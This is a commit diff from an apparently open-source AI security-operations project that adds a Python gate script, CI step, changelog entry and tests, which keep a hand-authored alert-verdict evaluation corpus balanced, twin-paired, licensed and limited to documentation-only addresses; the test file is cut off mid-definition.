Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.
Python agentic-aiai-securityalert-triageblue-teamcybersecuritydetection-engineeringincident-responselanggraphllm-agentsmcpmitre-attackmodel-context-protocolpurple-teamsecurity-operationsself-hostedsiemsoarsocthreat-detectionthreat-intelligence
A balanced, labelled verdict corpus the scorer accepts (depth 1.1) (#1205)
Beenu Aroraf5d46d74df7e
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.ymlindex 22f2535fd..9524edd38 100644--- a/.github/workflows/ci.yml+++ b/.github/workflows/ci.yml@@ -817,6 +817,18 @@ jobs:run: |python -m pip install --quiet pyyamlpython scripts/check_fidelity_datasets.py+ # Every other labelled set in services/agents/tests/eval_data/ is+ # malicious by construction, so an agent answering "true positive" to+ # everything without reading anything would score perfectly on them.+ # The verdict corpus is the one the scorer accepts, and the property+ # that makes it worth anything — no class above 60%, so no constant+ # answer scores above 60% — is not visible in the file. Six malicious+ # items added because malicious items are the interesting ones to write+ # would take it past the line with nothing looking wrong.+ - name: The verdict corpus stays balanced, paired and licensed+ run: |+ python3 scripts/check_verdict_corpus.py --self-test+ python3 scripts/check_verdict_corpus.py- name: SLO alerts match the declared objectivesrun: |python -m pip install --quiet pyyamldiff --git a/CHANGELOG.md b/CHANGELOG.mdindex 26f158e2f..eeaf4942b 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -7,6 +7,44 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0## [Unreleased]+### Added++- **A labelled verdict corpus a constant answer cannot win on**+ (`services/agents/tests/eval_data/verdict/`). Every labelled set this tree+ had was malicious by construction — `synthetic_incidents.json` and+ `adversary_incidents.json` are 200 attacks each and carry no+ `expected_disposition` at all, so `scripts/score_replay_set.py` refuses+ both, correctly, and nothing could measure whether the agent got the+ *verdict* right. The new corpus is 72 items in 36 twin pairs that the+ scorer accepts: largest class 50.0%, so the best constant answer scores+ **0.500** — measured through `score_replay`, not asserted — against the+ plan's 60% ceiling, and 36 malicious items clears the 30 the report+ requires before it will print a headline accuracy. 52 of 72 items (72.2%)+ come from cloud, identity and SaaS, covering all ten named sources+ (CloudTrail, GuardDuty, GCP audit, Azure activity, Entra, Okta, Workspace,+ M365, GitHub, Slack, Kubernetes audit) where the repository's labelled+ coverage was thinnest. Each non-malicious item has a malicious twin that+ fired the same rule at the same severity with the same title, so the+ evidence is the only thing that can separate them — and because twins share+ their severity, the two halves carry an identical severity distribution and+ severity alone separates nothing. The benign half is what real queues hold:+ admin bulk changes, scanners, CI service accounts, travel sign-ins,+ break-glass use with a ticket, backup jobs.+ **All 72 items are hand-authored and every one carries `is_synthetic: true`.**+ Nothing is drawn from a recorded dataset and nothing implies otherwise; the+ README records five public corpora considered and the reason each was+ refused, two of which pass on licence and fail on fit, because no public+ attack-telemetry set carries analyst dispositions, cloud control-plane+ events and a paired benign case at once.+ `scripts/check_verdict_corpus.py` keeps all of that true — balance, source+ mix, pairing, provenance-with-a-licence, documentation-only addresses and+ header counts that match the body — and its `--self-test` injects one+ violation of each rule into a copy of the shipped corpus and requires every+ one to be caught. The two all-malicious corpora must keep being refused,+ pinned in the same file that requires the new one to pass, so loosening the+ guard to admit a corpus breaks the test that says the old ones stay out.+ (Depth plan 1.1)+## [17.1.0] - 2026-10-07### Securitydiff --git a/scripts/check_verdict_corpus.py b/scripts/check_verdict_corpus.pynew file mode 100644index 000000000..aae0fb0d6--- /dev/null+++ b/scripts/check_verdict_corpus.py@@ -0,0 +1,686 @@+#!/usr/bin/env python3+"""The verdict corpus stays a corpus a constant answer cannot win on.++Why this exists+---------------+Every other labelled set in ``services/agents/tests/eval_data/`` is malicious+by construction. ``synthetic_incidents.json`` and ``adversary_incidents.json``+are 200 attacks each and carry no ``expected_disposition`` at all, so an agent+that answers "true positive" to everything without reading anything would post+a perfect score. ``scripts/score_replay_set.py`` refuses both, correctly, and+depth plan 1.1 adds the corpus it accepts instead.++A balanced corpus is not a property of a file; it is a property that decays.+One contributor adding six malicious items because malicious items are the+interesting ones to write takes the majority class past the point where a+constant answer scores well, and every number published from the corpus+quietly becomes a description of the base rate. Nothing about the file would+look wrong. So the balance is asserted here rather than written down.++What it refuses+---------------+``balance``+ A class above :data:`MAX_CLASS_SHARE`, or a minority class below+ :data:`MIN_MINORITY_SHARE`. The first is the plan's bar — the share of the+ largest class *is* what a constant answer scores, so capping it at 60%+ caps the constant answer at 60%. The second mirrors the floor+ ``score_replay_set.assert_gradeable`` already enforces, so the corpus+ cannot drift into a shape the scorer would then refuse.++``source mix``+ Fewer than half the items from cloud, identity and SaaS, or any of the ten+ sources the plan names absent. That is where this repository's corpus was+ thinnest and the reason the item exists.++``twins``+ A non-malicious item with no malicious twin, a twin that does not point+ back, or a pair that differs in something other than its evidence. The+ pairing is the anti-shortcut device: when both halves fired the same rule+ at the same severity with the same title, nothing but the evidence can+ separate them.++``provenance``+ An item with no provenance block, or one that is neither marked+ ``is_synthetic`` nor carrying a licence from+ :data:`REDISTRIBUTABLE_LICENCES`. Version 1 of the corpus is entirely+ hand-authored and says so; this is what binds the day a sourced item+ arrives.++``documentation data only``+ A routable address, or an email or link outside the RFC 2606 reserved+ names. A corpus carrying a real address eventually gets somebody scanned,+ and this one ships in a public repository.++``counts``+ Header counts that disagree with the body. The README quotes those+ numbers, so a header that drifts takes the documentation with it.++``severity``+ Different severity distributions on the two halves. A corpus whose attacks+ are critical and whose noise is low is separable on severity alone and+ measures nothing. One-to-one pairing on a shared severity makes the two+ distributions identical, and this is the assertion that keeps it so.++Usage+-----+::++ python3 scripts/check_verdict_corpus.py+ python3 scripts/check_verdict_corpus.py --json+ python3 scripts/check_verdict_corpus.py --self-test++Exit codes: 0 clean, 1 findings, 2 the check itself could not run.+"""++from __future__ import annotations++import argparse+import copy+import json+import re+import sys+from collections import Counter+from pathlib import Path+from typing import Any++# `scripts/` is on sys.path when this file is run as a program, but not when a+# test loads it by path with importlib. gate_toolkit sits beside it either way.+sys.path.insert(0, str(Path(__file__).resolve().parent))++from gate_toolkit import repo_root, self_test_main++CORPUS_REL = Path("services") / "agents" / "tests" / "eval_data" / "verdict" / "verdict_corpus_v1.json"++#: The disposition that means "this was a real threat". Mirrors+#: ``aisoc_benchmark.replay.MALICIOUS``, spelled here rather than imported so+#: the gate runs on a bare interpreter with no package on the path.+MALICIOUS = "true_positive"++#: The four canonical dispositions. Mirrors ``GRADED_DISPOSITIONS``; the+#: cross-check against the real definition happens in+#: :func:`check_the_scorer_agrees`, which imports it when it can.+GRADED_DISPOSITIONS = (MALICIOUS, "benign_true_positive", "false_positive", "benign")++#: No class may hold more than this. Set by the plan: the largest class's+#: share is exactly what a constant answer of that class scores, so this is+#: the ceiling on a constant answer.+MAX_CLASS_SHARE = 0.60++#: Mirrors ``score_replay_set.MIN_MINORITY_SHARE``. Below this the scorer+#: refuses the corpus, and a corpus the scorer refuses is not a corpus.+MIN_MINORITY_SHARE = 0.05++#: At least half the items come from here. The plan's reason: this is where+#: the repository's labelled coverage was thinnest.+CLOUD_IDENTITY_SAAS = frozenset({"cloud", "identity", "saas"})+MIN_CLOUD_IDENTITY_SAAS_SHARE = 0.50++#: The ten sources the plan names by hand. Every one must appear.+REQUIRED_VENDORS = (+ "aws_cloudtrail",+ "gcp_audit",+ "azure_activity",+ "entra_id",+ "okta",+ "google_workspace",+ "m365",+ "github",+ "slack",+ "kubernetes_audit",+)++#: The benign shapes real queues are full of, per the plan. A benign class+#: that misses these is a class of obviously boring events, which measures+#: formatting rather than judgement.+REQUIRED_BENIGN_ARCHETYPES = (+ "admin_bulk_change",+ "scanner_or_security_tooling",+ "ci_service_account",+ "travel_sign_in",+ "break_glass_with_ticket",+ "backup_job",+)++#: Licences under which a third party's telemetry may be redistributed inside+#: this MIT repository. Deliberately short. CC BY-NC-SA is absent because the+#: non-commercial clause is incompatible and ShareAlike would relicense what it+#: is combined with; "research use only" is absent for the same reason.+REDISTRIBUTABLE_LICENCES = frozenset({"MIT", "Apache-2.0", "BSD-3-Clause", "BSD-2-Clause", "CC0-1.0", "CC-BY-4.0", "ODbL-1.0"})++#: Fields every item must carry. ``labelled`` is here because ``score_replay``+#: grades only rows that declare it, and a corpus whose rows are silently+#: ungraded would report "0 labelled" rather than failing.+REQUIRED_FIELDS = (+ "id",+ "pair_id",+ "twin_of",+ "expected_disposition",+ "labelled",+ "is_synthetic",+ "family",+ "vendor",+ "rule_id",+ "title",+ "severity",+ "decisive_evidence",+ "evidence",+ "provenance",+)++#: What a twin pair must hold in common. Everything an alert carries that the+#: rule decided rather than the world — so the only thing left to separate the+#: two items on is the evidence.+TWIN_SHARED_FIELDS = ("pair_id", "vendor", "rule_id", "family", "severity", "title")++#: RFC 5737 documentation prefixes.+_DOCUMENTATION_PREFIXES = {(192, 0, 2), (198, 51, 100), (203, 0, 113)}++#: RFC 2606 / RFC 6761 reserved names. Nothing here can be registered, so+#: nothing here can be pointed at a real host.+_RESERVED_SUFFIXES = (+ ".example.com",+ ".example.net",+ ".example.org",+ ".example",+ ".test",+ ".invalid",+ ".localhost",+)+_RESERVED_EXACT = frozenset({"example.com", "example.net", "example.org", "localhost"})++#: The one real host the corpus is allowed to name, and why: every item's+#: provenance block points at this repository's own licence file, which is the+#: licence under which the hand-authored item is published. It is a statement+#: about the corpus, not data inside an event.+_ALLOWED_REAL_HOSTS = frozenset({"github.com"})++_IPV4 = re.compile(r"\b(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\b")+_EMAIL = re.compile(r"[A-Za-z0-9._%+\-]+@([A-Za-z0-9.\-]+\.[A-Za-z]{2,})")+_URL_HOST = re.compile(r"https?://([A-Za-z0-9.\-]+)")+++class CorpusUnreadable(RuntimeError):+ """The corpus is absent or malformed, so there is nothing to render a verdict about."""+++# --------------------------------------------------------------------------+# Loading+# --------------------------------------------------------------------------+++def load(root: Path) -> dict[str, Any]:+ """Read the corpus, refusing an absent or empty one rather than passing.++ A gate that walks zero items finds zero violations. "Found nothing" and+ "scanned nothing" print the same word unless the second one raises.+ """+ path = root / CORPUS_REL+ if not path.is_file():+ raise CorpusUnreadable(+ f"{CORPUS_REL} does not exist under {root}. There is no verdict corpus to check, "+ "which is the state depth plan 1.1 exists to end — not a clean result."+ )+ try:+ doc = json.loads(path.read_text(encoding="utf-8"))+ except json.JSONDecodeError as exc:+ raise CorpusUnreadable(f"{CORPUS_REL} is not valid JSON: {exc}") from exc+ if not isinstance(doc, dict):+ raise CorpusUnreadable(f"{CORPUS_REL} must be an object carrying a `decisions` list, not a {type(doc).__name__}")+ items = doc.get("decisions")+ if not isinstance(items, list) or not items:+ raise CorpusUnreadable(f"{CORPUS_REL} carries no `decisions`. An empty corpus cannot measure anything.")+ return doc+++# --------------------------------------------------------------------------+# The checks. Each takes the parsed document and returns findings.+# --------------------------------------------------------------------------+++def check_fields(doc: dict[str, Any]) -> list[str]:+ """Every item carries the fields the scorer and the later checks read."""+ findings: list[str] = []+ seen: set[str] = set()+ for index, item in enumerate(doc["decisions"]):+ if not isinstance(item, dict):+ findings.append(f"decisions[{index}] is a {type(item).__name__}, not an object")+ continue+ where = item.get("id") or f"decisions[{index}]"+ missing = [field for field in REQUIRED_FIELDS if field not in item]+ if missing:+ findings.append(f"{where}: missing {', '.join(missing)}")+ if item.get("labelled") is not True:+ findings.append(f"{where}: `labelled` is not true, so score_replay would silently exclude it from accuracy")+ disposition = item.get("expected_disposition")+ if disposition not in GRADED_DISPOSITIONS:+ findings.append(f"{where}: expected_disposition {disposition!r} is not one of {list(GRADED_DISPOSITIONS)}")+ if where in seen:+ findings.append(f"{where}: duplicate id")+ seen.add(where)+ return findings+++def check_balance(doc: dict[str, Any]) -> list[str]:+ """No class large enough that answering it to everything would score well."""+ items = doc["decisions"]+ counts = Counter(item.get("expected_disposition") for item in items)+ total = len(items)+ findings: list[str] = []++ if len(counts) < 2:+ return [f"the corpus holds one class ({next(iter(counts))!r}); a constant answer would score 100%"]++ largest, largest_n = counts.most_common(1)[0]+ if largest_n / total > MAX_CLASS_SHARE:+ findings.append(+ f"{largest!r} holds {largest_n} of {total} items ({largest_n / total:.1%}), over the "+ f"{MAX_CLASS_SHARE:.0%} ceiling. An agent answering {largest!r} to everything, without "+ f"reading anything, would score {largest_n / total:.1%} here."+ )++ smallest, smallest_n = counts.most_common()[-1]+ if smallest_n / total < MIN_MINORITY_SHARE:+ findings.append(+ f"{smallest!r} holds {smallest_n} of {total} items ({smallest_n / total:.1%}), under the "+ f"{MIN_MINORITY_SHARE:.0%} floor score_replay_set.assert_gradeable enforces. The scorer "+ "would refuse this corpus."+ )++ for required in ("benign", "benign_true_positive", MALICIOUS):+ if not counts.get(required):+ findings.append(f"no {required!r} item; the plan requires benign, benign-true-positive and malicious items")+ return findings+++def check_source_mix(doc: dict[str, Any]) -> list[str]:+ """At least half from cloud, identity and SaaS, and all ten named sources present."""+ items = doc["decisions"]+ findings: list[str] = []+ in_scope = [item for item in items if item.get("family") in CLOUD_IDENTITY_SAAS]+ share = len(in_scope) / len(items)+ if share < MIN_CLOUD_IDENTITY_SAAS_SHARE:+ findings.append(+ f"{len(in_scope)} of {len(items)} items ({share:.1%}) come from cloud, identity or SaaS, "+ f"under the {MIN_CLOUD_IDENTITY_SAAS_SHARE:.0%} the plan requires. That is where this "+ "repository's labelled coverage is thinnest."+ )+ vendors = {item.get("vendor") for item in items}+ missing = [vendor for vendor in REQUIRED_VENDORS if vendor not in vendors]+ if missing:+ findings.append(f"no item from {', '.join(missing)}; the plan names all ten sources by hand")+ return findings+++def check_twins(doc: dict[str, Any]) -> list[str]:+ """Every non-malicious item has a malicious twin differing only in evidence."""+ items = doc["decisions"]+ by_id = {item.get("id"): item for item in items if isinstance(item, dict)}+ findings: list[str] = []++ for item in items:+ where = item.get("id")+ twin_id = item.get("twin_of")+ twin = by_id.get(twin_id)+ if twin is None:+ findings.append(f"{where}: twin_of names {twin_id!r}, which is not in the corpus")+ continue+ if twin.get("twin_of") != where:+ findings.append(f"{where}: twin {twin_id} points at {twin.get('twin_of')!r} instead of back")++ malicious = item.get("expected_disposition") == MALICIOUS+ if malicious == (twin.get("expected_disposition") == MALICIOUS):+ findings.append(+ f"{where}: it and its twin {twin_id} are both "+ f"{'malicious' if malicious else 'non-malicious'}. A twin pair is one of each, or it "+ "demonstrates nothing."+ )+ for field in TWIN_SHARED_FIELDS:+ if item.get(field) != twin.get(field):+ findings.append(+ f"{where}: differs from its twin {twin_id} in {field!r} "+ f"({item.get(field)!r} against {twin.get(field)!r}). Twins differ in the decisive "+ "evidence; anything else they differ in is a shortcut an agent can take instead of reading."+ )+ if item.get("evidence") == twin.get("evidence"):+ findings.append(f"{where}: identical evidence to its twin {twin_id}, so one of the two labels must be wrong")+ if item.get("decisive_evidence") == twin.get("decisive_evidence"):+ findings.append(f"{where}: identical decisive_evidence to its twin {twin_id}")+ if not str(item.get("decisive_evidence") or "").strip():+ findings.append(f"{where}: empty decisive_evidence — the label has no stated reason")++ archetypes = {item.get("benign_archetype") for item in items if item.get("expected_disposition") != MALICIOUS}+ missing = [name for name in REQUIRED_BENIGN_ARCHETYPES if name not in archetypes]+ if missing:+ findings.append(f"no benign item of type {', '.join(missing)}; the plan names the shapes real queues are full of")+ for item in items:+ if item.get("expected_disposition") != MALICIOUS and not item.get("benign_archetype"):+ findings.append(f"{item.get('id')}: non-malicious item with no benign_archetype")+ return findings+++def check_provenance(doc: dict[str, Any]) -> list[str]:+ """Synthetic items say so; sourced items bring a licence that permits redistribution."""+ findings: list[str] = []+ for item in doc["decisions"]:+ where = item.get("id")+ block = item.get("provenance")+ if not isinstance(block, dict) or not block:+ findings.append(f"{where}: no provenance block. Every item records where it came from, the way detections/ does.")+ continue+ if not block.get("source"):+ findings.append(f"{where}: provenance names no source")+ licence = block.get("license")+ if not licence:+ findings.append(f"{where}: provenance records no licence. A source without a licence is refused, not assumed.")+ elif licence not in REDISTRIBUTABLE_LICENCES:+ findings.append(+ f"{where}: licence {licence!r} is not in the redistribution allow-list "+ f"({', '.join(sorted(REDISTRIBUTABLE_LICENCES))}). Redistributing it inside this "+ "repository is not covered."+ )+ if not block.get("license_url"):+ findings.append(f"{where}: provenance records no license_url, so the terms cannot be read")+ if item.get("is_synthetic") is not True and block.get("source") == "hand-authored":+ findings.append(f"{where}: provenance says hand-authored but is_synthetic is not true")+ if item.get("is_synthetic") is True and block.get("source") != "hand-authored":+ findings.append(+ f"{where}: is_synthetic is true but provenance names source {block.get('source')!r}. "+ "An invented item must not imply it came from somewhere."+ )+ return findings+++def check_counts(doc: dict[str, Any]) -> list[str]:+ """The header counts match the body, so the README cannot quote a stale number."""+ items = doc["decisions"]+ synthetic = sum(1 for item in items if item.get("is_synthetic") is True)+ pairs = len({item.get("pair_id") for item in items})+ expected = {+ "items": len(items),+ "synthetic_items": synthetic,+ "sourced_items": len(items) - synthetic,+ "pairs": pairs,+ }+ return [f"header says {key}={doc.get(key)!r} and the body holds {value}" for key, value in expected.items() if doc.get(key) != value]+++def check_severity_is_not_a_shortcut(doc: dict[str, Any]) -> list[str]:+ """Both halves carry the same severity distribution, so severity separates nothing."""+ malicious = Counter(i.get("severity") for i in doc["decisions"] if i.get("expected_disposition") == MALICIOUS)+ other = Counter(i.get("severity") for i in doc["decisions"] if i.get("expected_disposition") != MALICIOUS)+ if malicious == other:+ return []+ return [+ "the malicious and non-malicious halves carry different severity distributions "+ f"({dict(sorted(malicious.items()))} against {dict(sorted(other.items()))}). An agent can then "+ "separate them on severity without reading the evidence."+ ]+++def _reserved(host: str) -> bool:+ host = host.lower().rstrip(".")+ return host in _RESERVED_EXACT or host.endswith(_RESERVED_SUFFIXES)+++def check_documentation_data_only(doc: dict[str, Any]) -> list[str]:+ """No routable address and no registrable name anywhere in the corpus."""+ text = json.dumps(doc, sort_keys=True)+ findings: list[str] = []++ for octets in sorted(set(_IPV4.findall(text))):+ a, b, c, _ = (int(part) for part in octets)+ documented = (+ (a, b, c) in _DOCUMENTATION_PREFIXES+ # 0.0.0.0 is "this network" (RFC 1122) and is how a firewall rule+ # spells "anywhere". It addresses no host, so it is safe to ship.+ or a in (0, 10, 127)+ or (a == 192 and b == 168)+ or (a == 172 and 16 <= b <= 31)+ or a >= 224+ or (a, b) == (169, 254)+ or (a, b) == (198, 18)+ )+ if not documented:+ findings.append(+ f"{'.'.join(octets)} is outside the RFC 5737 documentation and the private ranges. "+ "This corpus ships in a public repository; a real address in it eventually gets "+ "somebody scanned."+ )++ for domain in sorted(set(_EMAIL.findall(text))):+ if not _reserved(domain):+ findings.append(f"email domain {domain!r} is not an RFC 2606 reserved name")+ for host in sorted(set(_URL_HOST.findall(text))):+ if _IPV4.fullmatch(host):+ continue # already judged above, as an address+ if host.lower() in _ALLOWED_REAL_HOSTS:+ continue+ if not _reserved(host):+ findings.append(f"link host {host!r} is not an RFC 2606 reserved name")+ return findings+++def check_the_scorer_agrees(doc: dict[str, Any]) -> list[str]:+ """The corpus the gate accepts is the corpus the scorer accepts.++ Two independent implementations of "gradeable" would eventually disagree+ while both printing OK, so the real one is consulted. Imported here rather+ than at module scope: the empty-tree probe runs this gate inside a tree+ holding only ``scripts/``, where ``packages/`` does not exist, and the+ refusal it must produce is "there is no corpus" — not an import error from+ a check that never had anything to check.+ """+ try:+ from score_replay_set import CorpusNotGradeable, assert_gradeable+ except ImportError as exc: # pragma: no cover - exercised only on a broken tree+ return [f"could not load score_replay_set to cross-check gradeability: {exc}"]+ try:+ assert_gradeable(doc["decisions"])+ except CorpusNotGradeable as exc:+ return [f"score_replay_set refuses this corpus: {exc}"]+ return []+++CHECKS = (+ ("fields", check_fields),+ ("balance", check_balance),+ ("source mix", check_source_mix),+ ("twins", check_twins),+ ("provenance", check_provenance),+ ("counts", check_counts),+ ("severity is not a shortcut", check_severity_is_not_a_shortcut),+ ("documentation data only", check_documentation_data_only),+ ("the scorer agrees", check_the_scorer_agrees),+)+++def run(doc: dict[str, Any]) -> dict[str, list[str]]:+ return {name: check(doc) for name, check in CHECKS}+++def summarise(doc: dict[str, Any]) -> dict[str, Any]:+ """The numbers the README quotes, derived rather than copied."""+ items = doc["decisions"]+ counts = Counter(i.get("expected_disposition") for i in items)+ families = Counter(i.get("family") for i in items)+ in_scope = sum(count for family, count in families.items() if family in CLOUD_IDENTITY_SAAS)+ return {+ "items": len(items),+ "pairs": len({i.get("pair_id") for i in items}),+ "synthetic": sum(1 for i in items if i.get("is_synthetic") is True),+ "sourced": sum(1 for i in items if i.get("is_synthetic") is not True),+ "class_counts": dict(counts.most_common()),+ "class_shares": {k: round(v / len(items), 4) for k, v in counts.most_common()},+ "largest_class_share": round(max(counts.values()) / len(items), 4),+ "best_constant_answer_scores": round(max(counts.values()) / len(items), 4),+ "cloud_identity_saas": in_scope,+ "cloud_identity_saas_share": round(in_scope / len(items), 4),+ "families": dict(sorted(families.items())),+ "vendors": sorted({i.get("vendor") for i in items}),+ }+++# --------------------------------------------------------------------------+# Self-test: one injected violation per rule, against a copy of the real corpus+# --------------------------------------------------------------------------+++def _injections(doc: dict[str, Any]) -> list[tuple[str, str, Any]]:+ """(description, check name, mutation) for every rule this gate enforces.++ Each mutation is applied to a deep copy of the shipped corpus, so what is+ proved is that the gate catches the violation *in the real file's shape*+ rather than in a toy fixture the gate was written against.+ """++ def unbalance(d: dict[str, Any]) -> None:+ # Relabel enough non-malicious items to take malicious past 60%.+ need = int(len(d["decisions"]) * MAX_CLASS_SHARE) + 1 - sum(1 for i in d["decisions"] if i["expected_disposition"] == MALICIOUS)+ for item in d["decisions"]:+ if need <= 0:+ break+ if item["expected_disposition"] != MALICIOUS:+ item["expected_disposition"] = MALICIOUS+ need -= 1++ def starve_the_minority(d: dict[str, Any]) -> None:+ # Leave the class present but far under the floor, which is the shape+ # that matters: a class of zero is caught by the "one class" branch,+ # and a class of two in seventy-two reports the base rate while still+ # looking like a four-class corpus.+ survivors = 1+ for item in d["decisions"]:+ if item["expected_disposition"] != "false_positive":+ continue+ if survivors > 0:+ survivors -= 1+ continue+ item["expected_disposition"] = "benign"++ def drown_the_cloud(d: dict[str, Any]) -> None:+ for item in d["decisions"]:+ if item["family"] in CLOUD_IDENTITY_SAAS:+ item["family"] = "endpoint"++ def drop_a_named_vendor(d: dict[str, Any]) -> None:+ for item in d["decisions"]:+ if item["vendor"] == "okta":+ item["vendor"] = "some_other_product"++ def orphan_a_benign_item(d: dict[str, Any]) -> None:+ for item in d["decisions"]:+ if item["expected_disposition"] != MALICIOUS:+ item["twin_of"] = "VRD-NOT-A-REAL-ID"+ return++ def make_a_twin_separable_on_severity(d: dict[str, Any]) -> None:+ for item in d["decisions"]:+ if item["expected_disposition"] == MALICIOUS:+ item["severity"] = "critical"++ def strip_a_licence(d: dict[str, Any]) -> None:+ d["decisions"][0]["provenance"].pop("license", None)++ def claim_an_unredistributable_source(d: dict[str, Any]) -> None:+ d["decisions"][0]["is_synthetic"] = False+ d["decisions"][0]["provenance"].update({"source": "some-dataset", "license": "CC-BY-NC-SA-4.0"})++ def imply_real_provenance(d: dict[str, Any]) -> None:+ d["decisions"][0]["provenance"]["source"] = "a-real-customer-queue"++ def plant_a_routable_address(d: dict[str, Any]) -> None:+ d["decisions"][0]["evidence"]["sourceIPAddress"] = "8.8.8.8"++ def plant_a_registrable_name(d: dict[str, Any]) -> None:+ d["decisions"][0]["evidence"]["contact"] = "[email protected]"++ def drift_the_header(d: dict[str, Any]) -> None:+ d["synthetic_items"] = 999++ def unlabel_an_item(d: dict[str, Any]) -> None:+ d["decisions"][0]["labelled"] = False++ return [+ ("a class over 60% is caught", "balance", unbalance),+ ("a minority class under the scorer's floor is caught", "balance", starve_the_minority),+ ("under half from cloud, identity and SaaS is caught", "source mix", drown_the_cloud),+ ("one of the ten named sources going missing is caught", "source mix", drop_a_named_vendor),+ ("a benign item with no twin is caught", "twins", orphan_a_benign_item),+ ("a pair separable on severity is caught", "twins", make_a_twin_separable_on_severity),+ ("an item with no licence is caught", "provenance", strip_a_licence),+ ("a source whose licence forbids redistribution is caught", "provenance", claim_an_unredistributable_source),+ ("a synthetic item implying real provenance is caught", "provenance", imply_real_provenance),+ ("a routable address is caught", "documentation data only", plant_a_routable_address),+ ("a registrable domain name is caught", "documentation data only", plant_a_registrable_name),+ ("a header count drifting from the body is caught", "counts", drift_the_header),+ ("an item the scorer would silently skip is caught", "fields", unlabel_an_item),+ ]+++def self_test(root: Path) -> int:+ try:+ clean = load(root)+ except CorpusUnreadable as exc:+ print(f"ERROR: {exc}", file=sys.stderr)+ return 2++ extra: list[tuple[str, bool]] = []++ baseline = run(clean)+ extra.append(("the shipped corpus passes every rule", not any(baseline.values())))++ for description, expected_check, mutate in _injections(clean):+ broken = copy.deepcopy(clean)+ mutate(broken)+ findings = run(broken)+ # The named check must fire. Others may fire too — relabelling items to+ # unbalance the corpus also breaks their twins, and that is honest.+ extra.append((f"{description} (by `{expected_check}`)", bool(findings.get(expected_check))))++ return self_test_main(Path(__file__).name, [], extra=extra)+++def main(argv: list[str] | None = None) -> int:+ parser = argparse.ArgumentParser(description="Check the verdict corpus stays balanced, paired and licensed.")+ parser.add_argument("--self-test", action="store_true", help="inject one violation of each rule and require it is caught")+ parser.add_argument("--json", action="store_true", help="print the derived summary as JSON")+ parser.add_argument("--repo-root", type=Path, default=None)+ args = parser.parse_args(argv)++ root = args.repo_root.resolve() if args.repo_root else repo_root()+ if args.self_test:+ return self_test(root)++ try:+ doc = load(root)+ except CorpusUnreadable as exc:+ print(f"ERROR: {exc}", file=sys.stderr)+ return 2++ results = run(doc)+ stats = summarise(doc)++ if args.json:+ print(json.dumps({"summary": stats, "findings": results}, indent=2, sort_keys=True))+ return 1 if any(results.values()) else 0++ print(f"corpus {CORPUS_REL} under {root}")+ print(f"items {stats['items']} in {stats['pairs']} twin pairs; {stats['synthetic']} synthetic, {stats['sourced']} sourced")+ for label, count in stats["class_counts"].items():+ print(f" {label:22} {count:4} {stats['class_shares'][label]:.1%}")+ print(f"constant a constant answer scores at most {stats['best_constant_answer_scores']:.1%} (ceiling {MAX_CLASS_SHARE:.0%})")+ in_scope = stats["cloud_identity_saas"]+ print(f"sources {in_scope} of {stats['items']} from cloud, identity or SaaS ({stats['cloud_identity_saas_share']:.1%})")++ findings = [(name, problem) for name, problems in results.items() for problem in problems]+ if findings:+ print(f"\nverdict-corpus: {len(findings)} finding(s)", file=sys.stderr)+ for name, problem in findings:+ print(f" [{name}] {problem}", file=sys.stderr)+ return 1+ print("verdict-corpus: OK")+ return 0+++if __name__ == "__main__":+ raise SystemExit(main())diff --git a/scripts/tests/test_check_verdict_corpus.py b/scripts/tests/test_check_verdict_corpus.pynew file mode 100644index 000000000..b5a1039c8--- /dev/null+++ b/scripts/tests/test_check_verdict_corpus.py@@ -0,0 +1,214 @@+"""The verdict-corpus gate fails on a corpus it should fail on.++Depth plan 1.1. `check_verdict_corpus.py --self-test` already injects one+violation of each rule into an in-memory copy of the shipped corpus. This+suite is the half that cannot be faked from inside the gate: it writes a+doctored corpus to disk, points the real program at it through `--repo-root`,+and reads the process exit code.++The distinction matters here more than usual. A gate's own self-test is+written by whoever wrote the gate, against the data structure the gate+already parses correctly. What it cannot prove is that the program as CI+invokes it — argument parsing, root resolution, file loading, exit codes —+refuses anything at all. Five gates in this repository reported OK over a+repository containing nothing, and every one of them had tests.+"""++from __future__ import annotations++import json+import subprocess+import sys+from pathlib import Path++import pytest++ROOT = Path(__file__).resolve().parents[2]+GATE = ROOT / "scripts" / "check_verdict_corpus.py"+CORPUS_REL = Path("services/agents/tests/eval_data/verdict/verdict_corpus_v1.json")+++def _corpus() -> dict:+ return json.loads((ROOT / CORPUS_REL).read_text(encoding="utf-8"))+++def _run(root: Path) -> subprocess.CompletedProcess[str]:+ return subprocess.run( # noqa: S603 - fixed argv, no shell+ [sys.executable, str(GATE), "--repo-root", str(root)],+ capture_output=True,+ text=True,+ check=False,+ )+++def tree(tmp_path: Path):+ """A directory holding a writable copy of the corpus and nothing else."""++ def write(doc: dict) -> Path:+ target = tmp_path / CORPUS_REL+ target.parent.mkdir(parents=True, exist_ok=True)+ target.write_text(json.dumps(doc), encoding="utf-8")+ return tmp_path++ return write+++class TestItPassesTheCorpusThatShipped:+ def test_the_real_tree_is_clean(self) -> None:+ """The negative control for every refusal below. Without it they+ would all pass against a gate that refuses everything."""+ done = _run(ROOT)+ assert done.returncode == 0, done.stdout + done.stderr++ def test_it_prints_what_a_constant_answer_would_score(self) -> None:+ """The number the plan's 60% ceiling is about. Printing it on every+ run means a corpus drifting towards one class is visible in the log+ before it is a failure."""+ done = _run(ROOT)+ assert "a constant answer scores at most 50.0%" in done.stdout+++class TestItRefusesAnUnbalancedCorpus:+ def test_a_corpus_over_the_sixty_percent_ceiling_fails(self, tree) -> None:+ """The headline negative control. Relabel enough items that answering+ `true_positive` to everything would score 69%, and the gate must say+ so rather than counting four classes and calling it balanced."""+ doc = _corpus()+ flipped = 0+ for item in doc["decisions"]:+ if item["expected_disposition"] != "true_positive" and flipped < 14:+ item["expected_disposition"] = "true_positive"+ flipped += 1+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "over the 60% ceiling" in done.stderr+ assert "without reading anything" in done.stderr++ def test_an_all_malicious_corpus_fails(self, tree) -> None:+ """The shape every other labelled set in this tree actually has."""+ doc = _corpus()+ for item in doc["decisions"]:+ item["expected_disposition"] = "true_positive"+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "one class" in done.stderr++ def test_a_minority_class_under_the_scorers_floor_fails(self, 